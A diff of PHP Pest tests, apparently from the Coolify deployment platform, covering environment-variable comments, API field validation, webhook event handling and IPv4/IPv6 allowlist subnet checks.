])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'REDIS_HOST',
|
||||
'value' => 'redis',
|
||||
'comment' => 'Redis cache host',
|
||||
],
|
||||
[
|
||||
'key' => 'REDIS_PORT',
|
||||
'value' => '6379',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$envWithComment = EnvironmentVariable::where('key', 'REDIS_HOST')
|
||||
->where('resourceable_id', $service->id)
|
||||
->where('resourceable_type', Service::class)
|
||||
->first();
|
||||
|
||||
$envWithoutComment = EnvironmentVariable::where('key', 'REDIS_PORT')
|
||||
->where('resourceable_id', $service->id)
|
||||
->where('resourceable_type', Service::class)
|
||||
->first();
|
||||
|
||||
expect($envWithComment->comment)->toBe('Redis cache host');
|
||||
expect($envWithoutComment->comment)->toBeNull();
|
||||
});
|
||||
|
||||
test('rejects comment exceeding 256 characters', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'value',
|
||||
'comment' => str_repeat('a', 257),
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,283 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->team->members()->attach($this->user, ['role' => 'owner']);
|
||||
$this->application = Application::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
});
|
||||
|
||||
test('environment variable can be created with comment', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'comment' => 'This is a test environment variable',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
expect($env->comment)->toBe('This is a test environment variable');
|
||||
expect($env->key)->toBe('TEST_VAR');
|
||||
expect($env->value)->toBe('test_value');
|
||||
});
|
||||
|
||||
test('environment variable comment is optional', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
expect($env->comment)->toBeNull();
|
||||
expect($env->key)->toBe('TEST_VAR');
|
||||
});
|
||||
|
||||
test('environment variable comment can be updated', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'comment' => 'Initial comment',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$env->comment = 'Updated comment';
|
||||
$env->save();
|
||||
|
||||
$env->refresh();
|
||||
expect($env->comment)->toBe('Updated comment');
|
||||
});
|
||||
|
||||
test('environment variable comment is preserved when updating value', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'initial_value',
|
||||
'comment' => 'Important variable for testing',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$env->value = 'new_value';
|
||||
$env->save();
|
||||
|
||||
$env->refresh();
|
||||
expect($env->value)->toBe('new_value');
|
||||
expect($env->comment)->toBe('Important variable for testing');
|
||||
});
|
||||
|
||||
test('environment variable comment is copied to preview environment', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'comment' => 'Test comment',
|
||||
'is_preview' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// The model's created() event listener automatically creates a preview version
|
||||
$previewEnv = EnvironmentVariable::where('key', 'TEST_VAR')
|
||||
->where('resourceable_id', $this->application->id)
|
||||
->where('is_preview', true)
|
||||
->first();
|
||||
|
||||
expect($previewEnv)->not->toBeNull();
|
||||
expect($previewEnv->comment)->toBe('Test comment');
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray preserves values without inline comments', function () {
|
||||
$input = "KEY1=value1\nKEY2=value2";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value1', 'comment' => null],
|
||||
'KEY2' => ['value' => 'value2', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('developer view format does not break with comment-like values', function () {
|
||||
// Values that contain # but shouldn't be treated as comments when quoted
|
||||
$env1 = EnvironmentVariable::create([
|
||||
'key' => 'HASH_VAR',
|
||||
'value' => 'value_with_#_in_it',
|
||||
'comment' => 'Contains hash symbol',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
expect($env1->value)->toBe('value_with_#_in_it');
|
||||
expect($env1->comment)->toBe('Contains hash symbol');
|
||||
});
|
||||
|
||||
test('environment variable comment can store up to 256 characters', function () {
|
||||
$comment = str_repeat('a', 256);
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'comment' => $comment,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
expect($env->comment)->toBe($comment);
|
||||
expect(strlen($env->comment))->toBe(256);
|
||||
});
|
||||
|
||||
test('environment variable comment cannot exceed 256 characters via Livewire', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$longComment = str_repeat('a', 257);
|
||||
|
||||
Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\Show::class, ['env' => $env, 'type' => 'application'])
|
||||
->set('comment', $longComment)
|
||||
->call('submit')
|
||||
->assertHasErrors(['comment' => 'max']);
|
||||
});
|
||||
|
||||
test('bulk update preserves existing comments when no inline comment provided', function () {
|
||||
// Create existing variable with a manually-entered comment
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'DATABASE_URL',
|
||||
'value' => 'postgres://old-host',
|
||||
'comment' => 'Production database',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// User switches to Developer view and pastes new value without inline comment
|
||||
$bulkContent = "DATABASE_URL=postgres://new-host\nOTHER_VAR=value";
|
||||
|
||||
Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
|
||||
'resource' => $this->application,
|
||||
'type' => 'application',
|
||||
])
|
||||
->set('variables', $bulkContent)
|
||||
->call('submit');
|
||||
|
||||
// Refresh the environment variable
|
||||
$env->refresh();
|
||||
|
||||
// The value should be updated
|
||||
expect($env->value)->toBe('postgres://new-host');
|
||||
|
||||
// The manually-entered comment should be PRESERVED
|
||||
expect($env->comment)->toBe('Production database');
|
||||
});
|
||||
|
||||
test('bulk update overwrites existing comments when inline comment provided', function () {
|
||||
// Create existing variable with a comment
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'API_KEY',
|
||||
'value' => 'old-key',
|
||||
'comment' => 'Old comment',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// User pastes new value WITH inline comment
|
||||
$bulkContent = 'API_KEY=new-key #Updated production key';
|
||||
|
||||
Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
|
||||
'resource' => $this->application,
|
||||
'type' => 'application',
|
||||
])
|
||||
->set('variables', $bulkContent)
|
||||
->call('submit');
|
||||
|
||||
// Refresh the environment variable
|
||||
$env->refresh();
|
||||
|
||||
// The value should be updated
|
||||
expect($env->value)->toBe('new-key');
|
||||
|
||||
// The comment should be OVERWRITTEN with the inline comment
|
||||
expect($env->comment)->toBe('Updated production key');
|
||||
});
|
||||
|
||||
test('bulk update handles mixed inline and stored comments correctly', function () {
|
||||
// Create two variables with comments
|
||||
$env1 = EnvironmentVariable::create([
|
||||
'key' => 'VAR_WITH_COMMENT',
|
||||
'value' => 'value1',
|
||||
'comment' => 'Existing comment 1',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$env2 = EnvironmentVariable::create([
|
||||
'key' => 'VAR_WITHOUT_COMMENT',
|
||||
'value' => 'value2',
|
||||
'comment' => 'Existing comment 2',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Bulk paste: one with inline comment, one without
|
||||
$bulkContent = "VAR_WITH_COMMENT=new_value1 #New inline comment\nVAR_WITHOUT_COMMENT=new_value2";
|
||||
|
||||
Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
|
||||
'resource' => $this->application,
|
||||
'type' => 'application',
|
||||
])
|
||||
->set('variables', $bulkContent)
|
||||
->call('submit');
|
||||
|
||||
// Refresh both variables
|
||||
$env1->refresh();
|
||||
$env2->refresh();
|
||||
|
||||
// First variable: comment should be overwritten with inline comment
|
||||
expect($env1->value)->toBe('new_value1');
|
||||
expect($env1->comment)->toBe('New inline comment');
|
||||
|
||||
// Second variable: comment should be preserved
|
||||
expect($env2->value)->toBe('new_value2');
|
||||
expect($env2->comment)->toBe('Existing comment 2');
|
||||
});
|
||||
|
||||
test('bulk update creates new variables with inline comments', function () {
|
||||
// Bulk paste creates new variables, some with inline comments
|
||||
$bulkContent = "NEW_VAR1=value1 #Comment for var1\nNEW_VAR2=value2\nNEW_VAR3=value3 #Comment for var3";
|
||||
|
||||
Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
|
||||
'resource' => $this->application,
|
||||
'type' => 'application',
|
||||
])
|
||||
->set('variables', $bulkContent)
|
||||
->call('submit');
|
||||
|
||||
// Check that variables were created with correct comments
|
||||
$var1 = EnvironmentVariable::where('key', 'NEW_VAR1')
|
||||
->where('resourceable_id', $this->application->id)
|
||||
->first();
|
||||
$var2 = EnvironmentVariable::where('key', 'NEW_VAR2')
|
||||
->where('resourceable_id', $this->application->id)
|
||||
->first();
|
||||
$var3 = EnvironmentVariable::where('key', 'NEW_VAR3')
|
||||
->where('resourceable_id', $this->application->id)
|
||||
->first();
|
||||
|
||||
expect($var1->value)->toBe('value1');
|
||||
expect($var1->comment)->toBe('Comment for var1');
|
||||
|
||||
expect($var2->value)->toBe('value2');
|
||||
expect($var2->comment)->toBeNull();
|
||||
|
||||
expect($var3->value)->toBe('value3');
|
||||
expect($var3->comment)->toBe('Comment for var3');
|
||||
});
|
||||
@@ -0,0 +1,217 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->team->members()->attach($this->user, ['role' => 'owner']);
|
||||
$this->application = Application::factory()->create();
|
||||
|
||||
$this->actingAs($this->user);
|
||||
});
|
||||
|
||||
test('all fillable fields can be mass assigned', function () {
|
||||
$data = [
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'test_value',
|
||||
'comment' => 'Test comment',
|
||||
'is_literal' => true,
|
||||
'is_multiline' => true,
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'is_shown_once' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
];
|
||||
|
||||
$env = EnvironmentVariable::create($data);
|
||||
|
||||
expect($env->key)->toBe('TEST_KEY');
|
||||
expect($env->value)->toBe('test_value');
|
||||
expect($env->comment)->toBe('Test comment');
|
||||
expect($env->is_literal)->toBeTrue();
|
||||
expect($env->is_multiline)->toBeTrue();
|
||||
expect($env->is_preview)->toBeFalse();
|
||||
expect($env->is_runtime)->toBeTrue();
|
||||
expect($env->is_buildtime)->toBeFalse();
|
||||
expect($env->is_shown_once)->toBeFalse();
|
||||
expect($env->resourceable_type)->toBe(Application::class);
|
||||
expect($env->resourceable_id)->toBe($this->application->id);
|
||||
});
|
||||
|
||||
test('comment field can be mass assigned with null', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'comment' => null,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
expect($env->comment)->toBeNull();
|
||||
});
|
||||
|
||||
test('comment field can be mass assigned with empty string', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'comment' => '',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
expect($env->comment)->toBe('');
|
||||
});
|
||||
|
||||
test('comment field can be mass assigned with long text', function () {
|
||||
$comment = str_repeat('This is a long comment. ', 10);
|
||||
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'comment' => $comment,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
expect($env->comment)->toBe($comment);
|
||||
expect(strlen($env->comment))->toBe(strlen($comment));
|
||||
});
|
||||
|
||||
test('all boolean fields default correctly when not provided', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Boolean fields can be null or false depending on database defaults
|
||||
expect($env->is_multiline)->toBeIn([false, null]);
|
||||
expect($env->is_preview)->toBeIn([false, null]);
|
||||
expect($env->is_runtime)->toBeIn([false, null]);
|
||||
expect($env->is_buildtime)->toBeIn([false, null]);
|
||||
expect($env->is_shown_once)->toBeIn([false, null]);
|
||||
});
|
||||
|
||||
test('value field is properly encrypted when mass assigned', function () {
|
||||
$plainValue = 'secret_value_123';
|
||||
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'SECRET_KEY',
|
||||
'value' => $plainValue,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Value should be decrypted when accessed via model
|
||||
expect($env->value)->toBe($plainValue);
|
||||
|
||||
// Verify it's actually encrypted in the database
|
||||
$rawValue = \DB::table('environment_variables')
|
||||
->where('id', $env->id)
|
||||
->value('value');
|
||||
|
||||
expect($rawValue)->not->toBe($plainValue);
|
||||
expect($rawValue)->not->toBeNull();
|
||||
});
|
||||
|
||||
test('key field is trimmed and spaces replaced with underscores', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => ' TEST KEY WITH SPACES ',
|
||||
'value' => 'test_value',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
expect($env->key)->toBe('TEST_KEY_WITH_SPACES');
|
||||
});
|
||||
|
||||
test('version field can be mass assigned', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'version' => '1.2.3',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// The booted() method sets version automatically, so it will be the current version
|
||||
expect($env->version)->not->toBeNull();
|
||||
});
|
||||
|
||||
test('mass assignment works with update method', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'initial_value',
|
||||
'comment' => 'Initial comment',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$env->update([
|
||||
'value' => 'updated_value',
|
||||
'comment' => 'Updated comment',
|
||||
'is_literal' => true,
|
||||
]);
|
||||
|
||||
$env->refresh();
|
||||
|
||||
expect($env->value)->toBe('updated_value');
|
||||
expect($env->comment)->toBe('Updated comment');
|
||||
expect($env->is_literal)->toBeTrue();
|
||||
});
|
||||
|
||||
test('protected attributes cannot be mass assigned', function () {
|
||||
$customDate = '2020-01-01 00:00:00';
|
||||
|
||||
$env = EnvironmentVariable::create([
|
||||
'id' => 999999,
|
||||
'uuid' => 'custom-uuid',
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
'created_at' => $customDate,
|
||||
'updated_at' => $customDate,
|
||||
]);
|
||||
|
||||
// id should be auto-generated, not 999999
|
||||
expect($env->id)->not->toBe(999999);
|
||||
|
||||
// uuid should be auto-generated, not 'custom-uuid'
|
||||
expect($env->uuid)->not->toBe('custom-uuid');
|
||||
|
||||
// Timestamps should be current, not 2020
|
||||
expect($env->created_at->year)->toBe(now()->year);
|
||||
});
|
||||
|
||||
test('order field can be mass assigned', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'order' => 5,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
expect($env->order)->toBe(5);
|
||||
});
|
||||
|
||||
test('is_shared field can be mass assigned', function () {
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'test_value',
|
||||
'is_shared' => true,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Note: is_shared is also computed via accessor, but can be mass assigned
|
||||
expect($env->is_shared)->not->toBeNull();
|
||||
});
|
||||
@@ -3,6 +3,7 @@
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
@@ -14,6 +15,8 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
@@ -24,7 +27,7 @@ beforeEach(function () {
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
@@ -117,6 +120,35 @@ describe('PATCH /api/v1/services/{uuid}/envs', function () {
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('uses route uuid and ignores uuid in request body', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'old-value',
|
||||
'resourceable_type' => Service::class,
|
||||
'resourceable_id' => $service->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/services/{$service->uuid}/envs", [
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'new-value',
|
||||
'uuid' => 'bogus-uuid-from-body',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonFragment(['key' => 'TEST_KEY']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/envs', function () {
|
||||
@@ -191,4 +223,32 @@ describe('PATCH /api/v1/applications/{uuid}/envs', function () {
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects unknown fields in request body', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'old-value',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'new-value',
|
||||
'uuid' => 'bogus-uuid-from-body',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonFragment(['uuid' => ['This field is not allowed.']]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
test('generate_application_name strips owner from git repository', function () {
|
||||
$name = generate_application_name('coollabsio/coolify', 'main', 'test123');
|
||||
|
||||
expect($name)->toBe('coolify:main-test123');
|
||||
expect($name)->not->toContain('coollabsio');
|
||||
});
|
||||
|
||||
test('generate_application_name handles repository without owner', function () {
|
||||
$name = generate_application_name('coolify', 'main', 'test123');
|
||||
|
||||
expect($name)->toBe('coolify:main-test123');
|
||||
});
|
||||
|
||||
test('generate_application_name handles deeply nested repository path', function () {
|
||||
$name = generate_application_name('org/sub/repo-name', 'develop', 'abc456');
|
||||
|
||||
expect($name)->toBe('repo-name:develop-abc456');
|
||||
expect($name)->not->toContain('org');
|
||||
expect($name)->not->toContain('sub');
|
||||
});
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
describe('GitHub Manual Webhook', function () {
|
||||
test('ping event returns pong', function () {
|
||||
$response = $this->postJson('/webhooks/source/github/events/manual', [], [
|
||||
'X-GitHub-Event' => 'ping',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertSee('pong');
|
||||
});
|
||||
|
||||
test('unsupported event type returns graceful response instead of 500', function () {
|
||||
$payload = [
|
||||
'action' => 'published',
|
||||
'registry_package' => [
|
||||
'ecosystem' => 'CONTAINER',
|
||||
'package_type' => 'CONTAINER',
|
||||
'package_version' => [
|
||||
'target_commitish' => 'main',
|
||||
],
|
||||
],
|
||||
'repository' => [
|
||||
'full_name' => 'test-org/test-repo',
|
||||
'default_branch' => 'main',
|
||||
],
|
||||
];
|
||||
|
||||
$response = $this->postJson('/webhooks/source/github/events/manual', $payload, [
|
||||
'X-GitHub-Event' => 'registry_package',
|
||||
'X-Hub-Signature-256' => 'sha256=fake',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertSee('not supported');
|
||||
});
|
||||
|
||||
test('unknown event type returns graceful response', function () {
|
||||
$response = $this->postJson('/webhooks/source/github/events/manual', ['foo' => 'bar'], [
|
||||
'X-GitHub-Event' => 'some_unknown_event',
|
||||
'X-Hub-Signature-256' => 'sha256=fake',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertSee('not supported');
|
||||
});
|
||||
});
|
||||
|
||||
describe('GitHub Normal Webhook', function () {
|
||||
test('unsupported event type returns graceful response instead of 500', function () {
|
||||
$payload = [
|
||||
'action' => 'published',
|
||||
'registry_package' => [
|
||||
'ecosystem' => 'CONTAINER',
|
||||
],
|
||||
'repository' => [
|
||||
'full_name' => 'test-org/test-repo',
|
||||
],
|
||||
];
|
||||
|
||||
$response = $this->postJson('/webhooks/source/github/events', $payload, [
|
||||
'X-GitHub-Event' => 'registry_package',
|
||||
'X-GitHub-Hook-Installation-Target-Id' => '12345',
|
||||
'X-Hub-Signature-256' => 'sha256=fake',
|
||||
]);
|
||||
|
||||
// Should not be a 500 error - either 200 with "not supported" or "No GitHub App found"
|
||||
$response->assertOk();
|
||||
});
|
||||
});
|
||||
@@ -86,7 +86,7 @@ test('IP allowlist handles empty and invalid entries', function () {
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/-1']))->toBeFalse(); // Invalid mask
|
||||
});
|
||||
|
||||
test('IP allowlist with various subnet sizes', function () {
|
||||
test('IP allowlist with various IPv4 subnet sizes', function () {
|
||||
// /32 - single host
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.1/32']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.1/32']))->toBeFalse();
|
||||
@@ -96,16 +96,98 @@ test('IP allowlist with various subnet sizes', function () {
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/31']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.0/31']))->toBeFalse();
|
||||
|
||||
// /16 - class B
|
||||
// /25 - half a /24
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/25']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('192.168.1.127', ['192.168.1.0/25']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('192.168.1.128', ['192.168.1.0/25']))->toBeFalse();
|
||||
|
||||
// /16
|
||||
expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/16']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('172.16.255.255', ['172.16.0.0/16']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('172.17.0.1', ['172.16.0.0/16']))->toBeFalse();
|
||||
|
||||
// /12
|
||||
expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/12']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('172.31.255.255', ['172.16.0.0/12']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('172.32.0.1', ['172.16.0.0/12']))->toBeFalse();
|
||||
|
||||
// /8
|
||||
expect(checkIPAgainstAllowlist('10.255.255.255', ['10.0.0.0/8']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('11.0.0.1', ['10.0.0.0/8']))->toBeFalse();
|
||||
|
||||
// /0 - all addresses
|
||||
expect(checkIPAgainstAllowlist('1.1.1.1', ['0.0.0.0/0']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('255.255.255.255', ['0.0.0.0/0']))->toBeTrue();
|
||||
});
|
||||
|
||||
test('IP allowlist with various IPv6 subnet sizes', function () {
|
||||
// /128 - single host
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse();
|
||||
|
||||
// /127 - point-to-point link
|
||||
expect(checkIPAgainstAllowlist('2001:db8::0', ['2001:db8::/127']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/127']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::/127']))->toBeFalse();
|
||||
|
||||
// /64 - standard subnet
|
||||
expect(checkIPAgainstAllowlist('2001:db8:abcd:1234::1', ['2001:db8:abcd:1234::/64']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:abcd:1234:ffff:ffff:ffff:ffff', ['2001:db8:abcd:1234::/64']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:abcd:1235::1', ['2001:db8:abcd:1234::/64']))->toBeFalse();
|
||||
|
||||
// /48 - site prefix
|
||||
expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:1234:ffff::1', ['2001:db8:1234::/48']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse();
|
||||
|
||||
// /32 - ISP allocation
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/32']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:ffff:ffff::1', ['2001:db8::/32']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db9::1', ['2001:db8::/32']))->toBeFalse();
|
||||
|
||||
// /16
|
||||
expect(checkIPAgainstAllowlist('2001:0000::1', ['2001::/16']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:ffff:ffff::1', ['2001::/16']))->toBeTrue();
|
||||
